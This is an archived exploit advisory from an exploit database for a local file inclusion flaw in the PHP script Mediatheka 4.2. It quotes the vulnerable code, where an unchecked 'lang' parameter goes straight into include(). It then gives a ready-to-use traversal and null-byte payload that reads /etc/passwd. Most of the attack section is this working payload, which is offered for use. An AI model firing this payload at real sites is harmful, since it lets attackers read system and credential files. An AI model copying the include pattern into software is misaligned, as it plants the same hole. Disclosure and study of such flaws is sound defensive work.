Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability

2008-12-14T00:00:00
ID 1337DAY-ID-4449
Type zdt
Reporter Osirys
Modified 2008-12-14T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability
==================================================================


[START]

#########################################################################################
[0x01] Informations:

Script         : Mediatheka 4.2
Download       : http://www.hotscripts.com/jump.php?listing_id=79106&jump_type=1
Vulnerability  : Local File Inclusion
Author         : Osirys
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay

#########################################################################################
[0x02] Bug:[Local File Inclusion]
######

Bugged file is: /[path]/index.php

[CODE]

	if(isset($_GET['lang']))
		$lang = $_GET['lang'];
	else
		$lang = 'en';
	include("langs/$lang.php");

[/CODE]


[!] EXPLOIT: /[path]/index.php?lang=[local_file_to_include]
                                    ../../../../../../../../../../../etc/passwd%00
#########################################################################################

[/END]



#  0day.today [2018-03-02]  #